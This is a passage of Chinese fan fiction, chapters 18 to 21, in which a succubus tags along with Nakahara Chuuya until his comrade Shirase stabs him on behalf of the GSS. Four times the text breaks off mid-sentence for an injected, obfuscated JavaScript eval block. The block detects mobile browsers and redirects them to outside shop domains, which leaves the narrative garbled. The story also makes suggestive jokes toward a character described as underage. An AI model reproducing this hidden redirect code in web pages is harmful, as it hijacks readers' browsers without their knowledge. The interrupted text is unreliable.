望月脸颊不由自主地染上一层红晕,看上去甚至有些期待。 然而脸颊上突然猛地加重的力度让望月嗷嗷乱叫起来,顿时认了怂,连忙泪眼汪汪地道歉。 “我看你这家伙完全就没意识到问题是什么。” 中原中也没好气地松开了手,这才注意到一旁站着的织田作之助。 他有些尴尬地收起了在望月面前的臭脸,抿了抿唇,朝着对方微微点了点头。 “抱歉,我的同伴给您添麻烦了。” 赭发少年虽然看起来脾气不好凶巴巴的,却相当的有礼貌。 “……没事。” 织田作之助停顿了一下,回答道。 刚刚赭发少年怒气冲冲地走过来的时候,他原本还想要出手拦一下。 不过现在看来,两个人的关系应该挺好的。 织田作之助看了一眼一旁蹲在地上,委屈巴巴揉着自己被掐得发红的脸颊的银发少年,顿了顿,然后默默收回目光。 他心想,自己还是装作没看见好了。 今天真是遇上了很奇妙的人啊。 …… 随着织田作之助离开,中原中也瞥了一眼蹲在地上的望月,臭着脸,问道。 “所以你这家伙刚刚又跑去干什么了?” 18.第十八章 望月眼神游离,含含糊糊地和中原中也讲述了一下事情的经过。 然而,随着他的讲述,望月逐渐感受到脑袋顶中原中也身上那股愈发旺盛的火焰。 银发恶魔闭上了嘴,后背冷汗直流,努力缩小自己的存在感。 中原中也忍不住磨了磨后槽牙。 “哈?所以你这家伙是跑去,是为了想要找人……” 说到一半时突然没了声音。 本来垂着脑袋准备挨骂的望月忍不住好奇地偷瞄了一眼中原中也。 赭发少年紧抿着嘴唇,钴蓝色的眸子蒙上一层暗沉的颜色,表情晦涩不明。 “……中也?” 望月试探性地喊到对方的名字。 原本沉默不语的中原中也忽然重重地啧了一声。 他也不知道自己为什么在听到望月的话后,胸口会忽然升起一团无名火。 不爽,烦躁,愤怒……或许还有别的什么自己不知道该怎么表述的情感,总之急需一个缺口发泄。 然而在对上银发少年那双无辜的紫眸时,却突然意识到一件事——对方是恶魔,这种事情对于对方来说,不过是再普通不过的日常行为。 胸口的那团烦闷之意,更是如同棉花一般膨胀开来,逐渐占据整个胸膛。 中原中也不说话,望月也不知道对方在生气什么。银发恶魔对着手指,小声辩解道。 “吾辈又没办法嘛,谁让中也不给吾辈吃……” 在中原中也拳头的威胁下,望月又是一个哆嗦,再次闭上嘴赶紧眨巴眨巴眼卖个萌,企图让对方心软好蒙混过关——毕竟这可是他经过反复实践得出的经验。 事实证明这的确很有效。 最后赭发少年只是皱着眉嘁了一声,也就放过他了。 所以说人类雄性都是很好哄骗的生物。 在中原中也看不见的地方,银发恶魔哼哼着露出了一个得意洋洋的笑容,看得系统在一旁无奈叹气,心累吐槽道。 【总有一天会遇上令你倒霉的家伙的。】到时候就能好好制裁这混蛋魅魔。 ‘哼哼,等那天到了再说吧。’而银发恶魔显然对此不屑一顾,忘乎所以地晃着脑袋,‘再说了,怎么可能会有人类不吃这一套。’ 【……】 系统看到这家伙背后插起的一堆旗帜,沉默地闭上了嘴。 等翻车这家伙就老实了。 * 中原中也拎着这只没事就会乱跑的银发恶魔,决定这次绝对不能再让对方脱离自己的视线。 自知这个时候不好再乱跑的望月在心中叹了口气。 然而听话是不可能的,这辈子都不可能的。 望月双手托着下巴,依在街机旁,看着中原中也在游戏里大杀四方,忍不住打了个哈欠,恹恹地说道。 “中也,吾辈好无聊……” 屏幕上跳出了胜利的字样,中原中也的手停了下来,瞥了眼一旁的望月,略带兴奋地问道。 “那你来一局?” “如果是十八禁的工口小黄油吾辈倒是很乐意来玩……” 望月不满地嘀咕道。他对人类这些打打闹闹的无聊游戏可没兴趣。 中原中也原本兴奋的神情顿时低落下来,抿着唇抓了抓自己的头发,犹豫了片刻,问道。 “那你想要去哪里?” 原本都要打瞌睡的望月顿时便精神了,瞬间直起身体,猛地凑近了中原中也,几乎快要扑上来。 害得中也下意识往后靠,声音也卡壳了一下。 “别、总是靠得那么近……” “吾辈想去你们人类出售各种学习资料的地方!” “学习资料……?” 中原中也茫然了一下,有些摸不着头脑。 “你是说书店吗?” “啊啊对,就是那个!” 银发恶魔眼睛亮晶晶的,就差对着面前的赭发少年摇尾巴了。 …… 中原中也意外地挺喜欢诗歌。 偶然的一次,他从白濑手中截下了一本原准备丢进柴堆里加料的书本。 后者并不不理解中也的举动。在他看来,这种晦涩难懂的文字还不如那些杂志之类的更有意思。 ……如果望月那时也在现场的话,大概会举起双手表示赞同。 望月对着书本上竖着排列的,颇具韵味的文字,露出了豆豆眼。 “完全不理解。和想象的完全不一样……” “不是你自己说要来书店的吗?” 瞥了一眼身旁垂头丧气的望月,中原中也无语。 倒是有一批恶魔热衷于钻研人类的文字和绘画,甚至是电影和游戏——他们称之为「艺术」。 而望月则对此退避三舍。 “吾辈想看的学习资料不是这个啦……” 望月无精打采地将手里的书本塞回到书架上,然而环顾四周,突然看到某个角落时,眼睛瞬间一亮,欢天喜地地跑了过去。 正翻看着诗集的中原中也转过脑袋,刚皱起眉头,某只便献宝似的把手中的书本往自己的脸上塞。 “这才是吾辈所说的,你们人类真正的智慧结晶啊!” “什……咳咳。” 中原中也措不及防地瞥见了上头穿着紧身皮衣手拿皮鞭的火辣女郎的图片,像是被踩到尾巴似的瞬间跳了起来。 这、这里怎么会有这种书,而且这样的图片居然还能印在上面……不对!重点才不是这个! “这是什么鬼的智慧结晶啊!” 中原中也握拳,面红耳赤地骂道。 “怎么不是!在吾辈看来,你们人类的小黄书才是那伟大的艺术品。” 望月双手抱胸,一脸严肃,声音也变得深沉起来。 “里面不仅蕴含着你们人类深不可测的欲望,最重要的是,还描述了那些千奇百怪的性|癖。有些不可描述的性|癖甚至连我们恶魔都忍不住甘拜下风。” “比如(消音),(消音),(消音)……你们人类某种意义上真是可怕。” “哈?为什么会有人喜欢(消音)那种猎奇的东西……” 中原中也被望月的话说得有些发毛,下意识吐槽道。结果一扭头就看到望月用一种难以描述的眼神盯着自己时,瞬间炸了毛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14215061|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喂,你用这种眼神盯着我干什么!我可不喜欢你说的那些东西!” “但中也一看就是一张抖S的脸嘛。”不知想到了什么,望月忍不住流起了口水,“尤其是冷下脸的时候,简直S到令人腿软,吾辈都快要忍不住了唔……” ……忍不住什么? 直觉告诉中原中也还是不要问下去,不然自己可能会忍不住揍对方。 真要揍的话,说不定还会把对方爽到。 中原中也无法自控地露出了看变态的目光。 然而他这一眼神扫去,面前的银发恶魔显然更加兴奋了,身后的恶魔尾都冒了出来,难忍地甩动着。 就连系统都看不下去了。 【……kimo*】 然而这点言语的杀伤力在某只无节操的魅魔听来完全不算什么,甚至可以算得上是夸赞。 望月如同推销员一般热情,朝着对方极力推荐手中的成|人|杂|志。 “难道中也不想要探索开发一下自己的癖好吗,说不定你会觉醒一些什么东西哦……买一本吧买一本吧~” “给我闭嘴!” 中原中也直接给了这变态恶魔一爆栗,准备把书放回去。余光瞥到那些杂志书本的标题封面后,他差点没控制好力度把书捏坏。 ——魅魔到底是一种什么样的生物啊。 中原中也深呼吸一口气,强忍着臊意把那本烫手山芋放回了原位,然后把某只依旧恋恋不舍的恶魔给拖了出去。 眼看自己的学习资料又要打水漂了,望月直接一把抱住了赭发少年的大腿,仰起头泪眼汪汪地说道。 “哇哇哇,中也你不能这样对待吾辈!买一本又怎么了!” “你想都别想!”再说他也没到年纪,根本买不了好吗! “中也不和吾辈做O就算了,连吃都不带让吾辈吃一口的,甚至都不给吾辈买学习资料实在太过分了……唔,中也的大腿肌肉还挺结实的。” 望月抱着中原中也的大腿,一边委屈地叫唤着,一边忍不住蹭了蹭。 中原中也脸颊上的温度一瞬间直逼火炉,赭红色的短发像是刺猬一样几乎要炸起,一时间甚至忘了要挣开对方的手臂。 “过分的家伙到底是谁啊!你这笨蛋在大街上说什么东西,给我稍微注意点廉耻好吗!” “魅魔才不需要廉耻心!要是有廉耻心我们这个种族早就要灭绝了!” 周围的路人看过来的眼神都变得奇怪了。 中原中也拳头硬了硬,很想照着这无节操魅魔的脑袋来狠狠地来一下——实际上他的忍耐条也的确快要到极限了。 “望、月。” 他一字一顿地喊出对方的名字。 还未等中原中也付出实践,忽然注意到一个熟悉的身影在不远处的人群出现。 赭发少年的动作停了下来,本来已经做好准备又被锤出一个爆栗的望月,注意到对方举动时也停下了假哭。 他顺着中也的目光看去,疑惑地眨了眨眼睛。 中原中也看到白濑站在人群里,皱着眉扭头寻找着什么。 在看到自己时,又明显松了一口气的样子。 19.第十九章 望月手臂还抱着中原中也的大腿,看着不远处穿着夹克的男生,努力回忆了一番。 哦,想起来了。 叫白濑还是灰濑来着,反正是中也的同伴。 在看到中原中也后,白濑赶紧小跑过来,朝着对方喊道。 “中也,你跑去哪里了?我去了街机厅你居然不在,这回总算找到……呃。” 白濑说着,在看到一旁抱着中原中也大腿的望月时,大概是因为还记着前段时间的吵架,脸上的表情变得有些僵硬。 他倒是不意外望月会出现在中也身边,毕竟所有人都知道,自从望月来了后,几乎天天跟在中也后头。 只是目前这画面,令白濑感到疑惑的成分居多。 “不用管这笨蛋。” 中原中也有些无语,伸手直接拎起银发少年的衣领给提了起来。 望月这回也相当有眼力见,相当乖巧老实地被对方像是拎猫一样抓着后衣领,放到了一旁的地上。 白濑看了看中也,又看看望月,打结的眉毛这才稍微平复回以往的模样。 不过他来找中也,可不是来看两个人打闹的。 白濑深呼吸一口气,像是在为自己做心理建设似的,然后凑到中原中也身边,低声说道。 “中也,我有事情要和你说。” “什么事?” 中也的语气不咸不淡的,却能够感受到其中的冷淡。 “之前的事情我们也已经反省过了,想来找你道歉来着……” 白濑瞥了眼望月,在心中暗暗皱起眉。 然而中也看起来并没有要避开的意思。 无奈之下,白濑只好说道。 “但现在更要紧的是,我们的人被GSS的家伙给抓住了。” “什么?” 中原中也的表情一松。 显然,比起之前的矛盾,对于中也来说,还是同伴的安全来得更为重要。 白濑松了一口气,表情也变得焦急起来。 “中也,你赶紧过去救他们吧!” * 『凡是踏入「羊」领地的敌人,都会遭到猛烈的反击,都会被「羊之王」毫不客气地碾碎。』 不知道是不是他的错觉。 除开之前港口mafia的那次,最近来「羊」地盘的陌生家伙似乎越来越多了,像是在试探什么,但几乎每次都被中原中也揍了回去。 这次GSS的袭击完全出乎了中原中也的意外。 中原中也一脚踹飞了某个持枪的男人。 听到对方头骨开裂的声音,这样的伤势即便是拖到医院也无济于事,即便如此,赭发少年的脸上依旧冷峻。 对于敌人,中原中也动手时从不会犹豫。 几乎不费吹灰之力,就将那几个拦路的家伙解决掉。 中原中也刚收回自己的脚,下一秒,身后传来兴奋地喝彩声。 “噢噢~不愧是中也,实在是太强了。” 中原中也脚下一顿,扭头看了一眼一旁的望月和白濑二人,忍不住皱起眉。 相较于沉默不语,时不时挪开视线的白濑,望月的反应显得活泼许多,恨不得手拿两把应援扇疯狂给面前的赭发少年加油助威。 “所以你们两个跟过来干什么?在这里添麻烦。” “中也这是别扭地担心吗?现在傲娇已经退环境了。”望月竖起一根手指晃了晃,笑嘻嘻地说道。 “放心,如果真的遇到危险,吾辈会毫不犹豫地扭头跑路的!” 他可是恶魔诶。 见势不妙掉头走人什么的,完全不会有心理负担。 这幅理直气壮的样子,让中原中也和白濑都忍不住沉默了一下。 这家伙为什么能说得这么理所当然。 中原中也抬手扶住自己的额头,叹了口气。 望月那家伙就算了……反正对方是恶魔,或多或少还是有些手段的。 他一边想着,一边放下了手重新插回口袋中,偏过头看向了白濑。 “白濑,你先回去。这里我会解决的。” 以往这种危险的行动,都是自己一个人出马。 而这次的白濑却吞吞吐吐起来,像是在顾忌着什么,最后下定决心,说道。 “不……中也,其实那天之后,「羊」的大家也想过了。” “因为中也是我们之中唯一的异能力者,所以大家便会下意识地把事情都交给中也。让我也一起吧,不能每次都依赖中也一个人。” 中原中也愣了一下,抬手抓了抓自己的头发,表情显得有些烦躁。 犹豫之后,他还是放下手,不耐烦地说道。 “我可没工夫再腾出手保护你们两个。” 这大概是别扭的同意了。 中原中也站在最前面扫敌。 赭发少年毫不犹豫将黄铜色的子弹悬浮在空中,在重力控制下,下一秒,所有的子弹便反方向地朝着敌人射去。 敌人的身上瞬间绽放出一朵朵血花,只剩下一地的尸体,脸上甚至还残留着惶恐的神情,恐惧与难以置信刻入眼底。 敌人死亡时的哀嚎声,子弹贯穿心脏和头颅时的扑哧声。 四处都充斥着一股浓郁的血腥味,混杂着硝烟的气味,更是刺鼻。 对于同类的尸体而感到恐惧,这是动物与生俱来的本能,是为了规避危险。 人类也是动物。 即便是见惯了尸体的黑手党,在血腥与死亡面前,依旧会产生动摇和恐惧。 看着眼前的画面,白濑的脸色愈发惨白。 虽然他是在擂钵街长大,但这样单方面的杀戮,不管怎么看都令人感到战栗。 白濑忍不住瞥了一眼身旁的望月。后者浑然不见恐惧之色,剩下的只有兴奋。 这让白濑不由得愣了一下,下意识问道。 “你……难道不会害怕吗?” “嗯?” “在看到那样的画面后,完全一点也不害怕吗?” 望月终于舍得转过头来。 对于他的疑惑,银发少年的眼神流露出一丝茫然。 “为什么会害怕,看别人挨揍不是很爽吗?又不是在揍吾辈。” “再说了……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14223659|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 望月一边说着,一边扭头看向前面的中原中也。 那双紫水晶般的眸子微微眯起,瞳孔因为心跳加速而缩成野兽般的竖状,兴奋地盯着远处的赭发少年。 看到中原中也又踹飞了一个敌人,望月忍不住抬手,擦了擦自己快滑落下来的口水。 这可恶的人类雄性。 真是越来越充满饭张力了。 若不是有碍事的人在身旁,估计他早就把尾巴露出来拼命地摇晃。 “虽然只是个人类,不过这份强大,都令吾辈忍不住wakuwaku起来了……” 没有恶魔会不喜欢强大的家伙。 尤其是在力量上的绝对碾压。再傲慢的恶魔也会在一顿暴揍后兴高采烈地俯首称臣,顺便期待下一次自己打败对方。 像魅魔这样不善战斗的种族,自然也崇拜于拥有强大力量的强者。 当然,能吃上一顿是最好不过了。 听到望月的话后,白濑脸上露出了一丝复杂,忍不住小声嘀咕了什么。 “这家伙的脑子也不太正常……” 可惜望月完全不在意一旁的白濑说了什么。 他对着中原中也啧啧称奇。 “不过吾辈偶尔也忍不住会想,中也强得完全不像是人类啊。” 白濑的眸子愈发阴沉,低声喃喃道。 “……是啊,简直像是怪物一样。” …… 来到废弃的仓库前。 此时,中原中也的身后已经倒下了一堆敌人的尸体,血色染红了水泥地面。 这个仓库也不知道已经被废弃了多久,铁门上满是深红色的铁锈,完全看不出原本的颜色。 赭发少年双手插兜,看都没多看一眼,直接一脚踹开了眼前那扇铁门。 “咚。” 仓库铁门直接被踹倒在地上,发出沉重地一声闷响,灰尘四起,仓库外的阳光顿时透了进来,照亮那一块地面。 中原中也背对着仓库外的阳光,钴蓝色的眸子冷冷地从面前的男人们身上扫过。 “就是你们吗?” 为首的领头者握紧了手中的枪,在看到中原中也时轻笑了一声,压低了的声音回荡在仓库内。 “「羊之王」啊,你果然来了。” 对于这个称呼,中原中也还是一如既往地感到不舒服,脸色一下便沉了下来。 就在气氛剑拔弩张之时,从赭发少年的身后忽然冒出了一个银色脑袋,似乎完全没有眼力见般,笑嘻嘻地帮腔作态道。 “是哦是哦,这位可就是擂钵街大名鼎鼎的「羊之王」。” 望月甚至挑衅般朝着对面做了个鬼脸。 虽然从始至终他都没出什么力,完全就是负责在旁边看热闹加油的。 但这并不妨碍他狐假虎威一番。 “既然都已经听说过我们中也大人的厉害,你们手上的这堆黑色铁疙瘩也完全不起效果,还是乖乖跪下求饶吧~” “……”“……” 敌人们脑袋上忍不住冒出了一串省略号。 ……这个家伙又是怎么回事? 20.第二十章 中原中也的脑袋上则蹦出了一个十字路口。 被这笨蛋一通胡天海地地乱夸,原本只是不爽,现在的心情则更多得变成了一种羞耻感,脸颊和耳朵也烧得厉害。 他直接伸手,把某只银发恶魔的脑袋给摁了回去。 “闭嘴,给我老实一点。” “呜哇,真是粗鲁……吾辈这不是为了帮你拉仇恨、咳,壮壮气势嘛…” 被摁住脑袋的望月忍不住抱怨起来。 眼见中原中也这回是准备转身给自己脑袋敲上一下,望月赶紧识相地闭上了嘴,熟稔地躲到了一边,也免得碍事。 这间隙还不忘煽风点火。 “但要是中也的话,这些水平的家伙,很快就能够解决了吧。” “上啊,中也大人!把他们打得七零八落吧!” “啧,啰嗦。” 中原中也抬手抓了抓自己的头发,扭头看向面前的敌人时,原本不耐烦的表情再次冷了下来。 相较于对待望月时,此时赭发少年脸上的表情更为冷淡。 “喂,赶快把我的同伴交出来。现在交的话我可以痛快点了结掉你们。” 如此张扬的话,让为首的男人面色一冷。 不论是中原中也,还是那个在一旁得意忘形的银发小子,完全没有将他们看在眼里。 “……一个两个,都是些讨人厌的臭小鬼,真是嚣张过头了。” 随着他的话音落下,对于中原中也的这个问题,他们的动作已经做出了回答。 “咔嚓。” 枪口抬起,瞄准了眼前的赭发少年。 “……啧,真麻烦。看来还是先把你们揍一顿,再从嘴巴里撬出答案好了。” 中原中也勾起唇角,露出一抹狂气的笑容,盯着面前手持枪|支,穿着武装战术背心的男人们。 钴蓝色的眸子透出一股骇人的杀气。 “——准备好怎么死了吗?” 望月吹了个口哨,迫不及待地想要看中也碾碎这群敌人的画面了。 中也越是强大,他便越是期待。 ——恶魔的天性啊。 虽然已经做好了准备,然而在真正对上传闻中擂钵街的重力使时,还是不由得被对方身上的煞气震慑住。 可恶,明明不过是个有点异能力的臭小子。 ……不过,也就是个小鬼头,还是太年轻了。 领头者眯起眼睛,被面巾挡住的脸上,露出了一抹诡异的微笑。 正当中原中也准备发动攻击时,却感觉到原本安静躲在身后的白濑忽然凑了上来。 顾虑着异能力可能会误伤对方,中原中也的动作停了停,没有立即行动。 中原中也紧盯着面前GSS众人的一举一动,没有回头,只是皱起眉,低声道。 “喂,白濑,离远一点。等会儿动起手来我……” 下一秒,随着“噗嗤”一声轻响,从腰间猛然传来的剧痛,令中原中也尚未说完的话一时间卡在了喉咙里。 那双钴蓝色的眸子骤然缩紧。 腰间的剧痛伴随着一种麻痹感,从伤口处朝着周围蔓延,身体变得无法动弹。 “……中也?” 注意到不对劲的望月瞥过去,一时间也有点懵。 赭发少年一点一点地,艰难地偏过脸。 看向白濑时,中原中也的眼神错愕,难以置信般脱口而出道。 “……为什么?” 温热的血液顺着匕首低落,逐渐浸湿了自己的手掌和袖口。 灰发少年的手无法自控地微微发抖,随后像是下定了某种决心,猛地握紧了手中的匕首,朝外抽出。 利刃与肉|体分离,血液喷涌地更加厉害。即便中原中也再怎么能忍痛,也不由得闷哼一声,额头上的冷汗冒得更多。 白濑踉跄着退后了几步,转身和GSS的人站到了同一边。 这一突如其来的变故,不只是中也,就连望月都始料未及。 中原中也后退了几步,然而顺着血液蔓延的毒素让他几乎失去支撑身体的力气,直接向后倒去。 站在他身后的望月为此充当了一回肉垫,勉强扶住中原中也的肩膀,一起跌坐在地上。 望月脸上的表情也不由得僵硬了些。 银发少年抬起头,难得正视起面前的白濑,几乎炸了毛,眉毛竖起。 他的语气可算不上好。 “喂,等一下,你和中也不是同伴吗,怎么说背刺就背刺!” 他刚刚可是超级嚣张地对着那群人放狠话来着,结果这边的主战力就遭到了友军的背刺。 友方临阵脱逃,对于恶魔来说也不是什么新鲜事。 毕竟都是群没啥节操和道德感的东西。 除非立下了契约,不然出现一面倒的局势,没节操的恶魔们大概率是会选择倒戈对面。 然而现在可不是什么一面倒的局势。 如果不是这一刀,就算只有中原中也一个人,也完全能够吊打对面。 中原中也咬着牙,没有说话。 腹部贯穿伤的刺痛让他疼痛难忍,额头上冷汗密布。 而他的目光也寻求着同样的答案。 白濑下意识地避开了二人的眼神,只是攥紧了手里染血的匕首,一字一句地说道。 “抱歉,中也,这是大家共同的决定……也是为了「羊」的大家作出的选择。” “议选会的成员们,都同意了这次行动……我们想过,如果有朝一日,中也真的放弃「羊」选择加入港口mafia的话,我们一定会被全歼。” “我怎么可能会背叛组织……” 中原中也下意识想要起身,却又牵扯到腹部的伤口,吃痛得跌了回去。 要是想要背叛的话,他早就离开「羊」。 异能力者向来都是各个组织眼中的香馍馍,即便不加入港口mafia,其他组织也乐意于抛出橄榄枝。 “不一样的!”白濑低吼道。 “由中原中也的心情决定组织的生死不同,只要有利益,GSS就会一直和我们合作。” “所以,大家选择和GSS联手。我们和GSS做了个交易,只要能解决掉中也,GSS就会同意「羊」的加入。” 这是一场赌博。 “中也……能够理解吧?” “这是你能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14235608|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为组织做出的最后的贡献了。” 中原中也从原本的震惊,难以置信回过神来,蓝眸倒映着对方手中染血的匕首。 他看着面前这位友人,从实验室诞生出意识后,第一个交谈的人。同时也是白濑将自己带回了「羊」,自己才有了容身之地。 然而此时,灰发少年却以一种陌生的眼神,警惕不安地看着自己。 同伴们没有遇到危险,全部都是陷阱啊。 不止该感到悲伤还是愤怒,复杂的情绪在心中交织重叠。 最后,中原中也只是自嘲地勾了勾唇角。 “果然,我是个不合格的首领啊……” 白濑眸色闪了闪,最后还是不忍地别过脸。 ……不不不,这种事情吾辈也完全不能理解啊。 正当望月飞速地运转着大脑,思考着目前这一局势为什么会演变成这样时,面前的灰发少年忽然将目光对准了自己。 “喂,望月。” “虽然你才加入没多久,但勉强也算是「羊」的成员;如果你离开那里的话,我会让GSS的人不会再对你出手。” 白濑盯着面前的银发少年,低声道。 “但要是你不离开的话,那我们只好将你和中也一起杀死了。” “……” 听到这句话后,银发少年原本愤愤不平的表情逐渐平静下来,抿紧了嘴唇,眉毛也紧皱在一起。 看向白濑的眼神逐渐变得古怪。 “喂,中也也是「羊」的成员吧。” “你们就这样舍弃了中也吗?……难以置信。” 望月扶着中原中也的肩膀,脸色难看。 他瞪着面前的灰发少年,露出了一种微妙的眼神,疑惑,复杂,以及更多的是无语。 “你是蠢货吗?没有了中原中也,「羊」不过是个普通的未成年人组织,有什么利益值得其他组织与你们合作的?” “他们不过是借助中也对你们的信赖,除掉一个强大的异能者,好扫平组织的障碍罢了。” “你们舍弃了中也,要知道,在放弃了中原中也的那一刻,「羊」也就失去了价值。” 银发少年的眼神平静,像是诉说着一件与己无关的事情。 然而与之相反的,白濑的表情却逐渐失去了血色,愈发苍白。他感觉自己的手脚开始冰冷。 “怎、怎么可能……只要和GSS的人合作,「羊」的大家就……” “哈……所以说啊,人类真是一种自以为是又愚蠢至极的生物。”望月叹了口气,嫌弃地说道。 “如果中原中也死了,「羊」也会遭到毫不犹豫地舍弃。啊,说不定全部都会被杀掉的吧。” “而且,只有中也才会没有任何理由地保护你们吧……哦,有一条理由。” “因为你们是他的同伴。” 望月实在是想不通,有中也这样一个会无条件地保护同伴的笨蛋人类在,明明有这么好的一根大腿就在面前不去抱,非要跑去找什么GSS的庇护。 作为专业的抱大腿人士,望月忍不住露出了鄙夷的目光。 “真是没眼光,抱大腿也要挑一根好的大腿抱吧!” 21.第二十一章 其实对于「羊」抛弃了中原中也这件事,比起愤怒和同情,望月更多是无语于他们做错了选择。 在望月的声音下,白濑下意识往后倒退了几步,险些没站稳跌倒在地上。 恐惧,后悔,战栗…… 一时间所有情绪涌上脑袋,身体一会儿冷一会儿热。 然而,那些抬起的枪口似乎不仅仅对着了面前的赭发少年,也对准了他的后脑勺,成为悬挂在头顶随时都有可能落下的剑。 白濑瞳孔不断颤抖着,似乎难以接受这一事实般,低声喃喃着。 “不、不对,不该是这样子的……我只是想……” 从中原中也腰间流出的鲜血无疑告诉了他,他所选择打出的那张牌,是张最差的牌。 灰发少年瞳孔颤抖得越来越厉害,最后猛地一闭眼,直接从废弃仓库跑了出去。不只是为了活命,或许是为了逃避面对中原中也的目光。 「羊」本身就是个由未成年人主导的,不稳定的组织。 最开始的本意是好的,弱者有弱者的活法。 缺乏力量的孩子们互相帮助,凑在一起抱团取暖,这样才能够提高整体的生存率。 然而中原中也的存在则打破了这一平衡,变成了保护者与被保护者的关系。 力量的不对等性。 这并不是中原中也的错,也不是「羊」不需要中原中也。 而是中原中也并不适合「羊」。 或许某些人从一开始便已经看透了这一本质,只是稍加推波助澜,将这个濒临破裂的组织推向了更加岌岌可危的悬崖边。 他们所做的,不过是加快这一进程。 “头儿,那个怎么办?” “不用管。反正已经派不上用场了,只要把「羊之王」解决掉就好了。” 面对身旁部下的询问,领头人冷冷地回答。 这个银发少年说得一点不错。 那些个天真的孩子,真的以为以「羊之王」的性命作为交换,他们就会和「羊」合作,保护他们。 到底还是群小孩。 没了重力使的庇护,不过是群任人宰割的小羊羔,完全不用放在眼里。 而他们的王,也命不久矣了。 望月才不关心白濑会怎么样。 赭发少年腰间的血液蔓延得越来越多,空气中的血腥味愈发刺鼻。 中原中也尝试着发动自己的异能,却起不了什么太大的效果。 这个埋伏的地点大概是算计好的,料定了他不会掩藏而是选择正面进攻。 就连一路上遇到的那群人,也是他们用于诱他放下戒心的弃子。 耳旁的喘息声也愈发粗重,即便隔着衣服,也能感受到对方背后渗出的冷汗。 望月难得感到一阵慌乱,碎碎念道。 “喂、喂,中也,你还好吧?吾辈还指望着你能站起来大杀四方呢……” 大腿怎么就这样倒下了! 看着中原中也不断蔓延的血迹,望月这才慢半拍地意识到,虽然这个人类很强很能打,但在肉|体本质上依旧还是人类的躯体。 受了伤依靠自己没有办法愈合。 ……什么糟糕的局面。 望月僵硬地抬起脑袋,看着面前一堆拿着武器,全副武装的敌人。 此时背后流冷汗的变成了两个人,一个是疼的,一个是慌的。 “中也,你说这个时候吾辈给对面滑跪,让他们放过我还来得及吗?” 不会让他上去打架吧?真的假的,要上吗? 他可是柔弱无助的魅魔诶。 “……” 中原中也有种要被气笑了的感觉。 正当望月在脑内纠结滑跪成功的可能性时,领头人却没有立即发动攻击,开口说道。 “不愧是异能力者,就算肚子挨了一刀,还能坚持这么久。” 领头人感叹。他扫了一眼望月,似乎笑了笑。 “你大概是「羊之王」最后的同伴了吧,我倒是很欣赏你。” “好吧,就如刚刚那只小羊说得那样好了。你若是现在舍弃重力使离开的话,我们便不会对你出手。” “……” 好有诱惑力。 比起白濑的话,望月更相信掌握着真正主导权的GSS所说的真假性。 对方是真的愿意放过自己。 他犹豫了片刻,在脑内询问系统道。 ‘喂,如果目标对象死了的话怎么办?你们难道不管吗?’ 【无所谓。】 脑内的电子音没有丝毫起伏。 ‘那,那吾辈怎么办,岂不是任务完不成了?’ 【不会。】 【目标对象有很多,只不过是一个目标死亡而已,这是很正常的事。】 ‘……’ 所以,就算中原中也死亡,他也不会受到任何的惩罚。 似乎感受到身后银发少年的动摇,中原中也垂下眼睛,压低声音道。 “望月,你离开这……” 还没等他说完,银发少年已经毫不犹豫地放开了自己的手,在所有人的注视下站起身朝着门口跑去。 “再见!” 开什么玩笑,他可一点没有陪对方一起死的想法。 中原中也:…… GSS:…… 好家伙,一点都不带思考的。 原本还以为对方会纠结一阵子,自己能看看对方痛苦挣扎选择进退的GSS头领都沉默了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14245272|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这家伙……”中原中也无奈。 过来前这只银发恶魔就已经笑嘻嘻地表示,遇到危险自己绝对会第一个跑路的。 望月却不觉得自己的行为有什么不对的。 恶魔可都是些利己的家伙。 为了自己的性命、利益,出卖朋友或者同盟者,根据当下的局面,做出对自己最有利的决定判断,倒也属于正常的事。 再说了,中原中也又没给自己吃上过一口饭,反而拖慢了他任务完成的速度。 所以,直接抛下对方也没错吧。 银发少年想着,表情却变得纠结。 望月的选择其实也没有出乎GSS头领的意料外。男人唇角勾起一丝嘲讽的笑意,同时也是对于「羊之王」的同情。 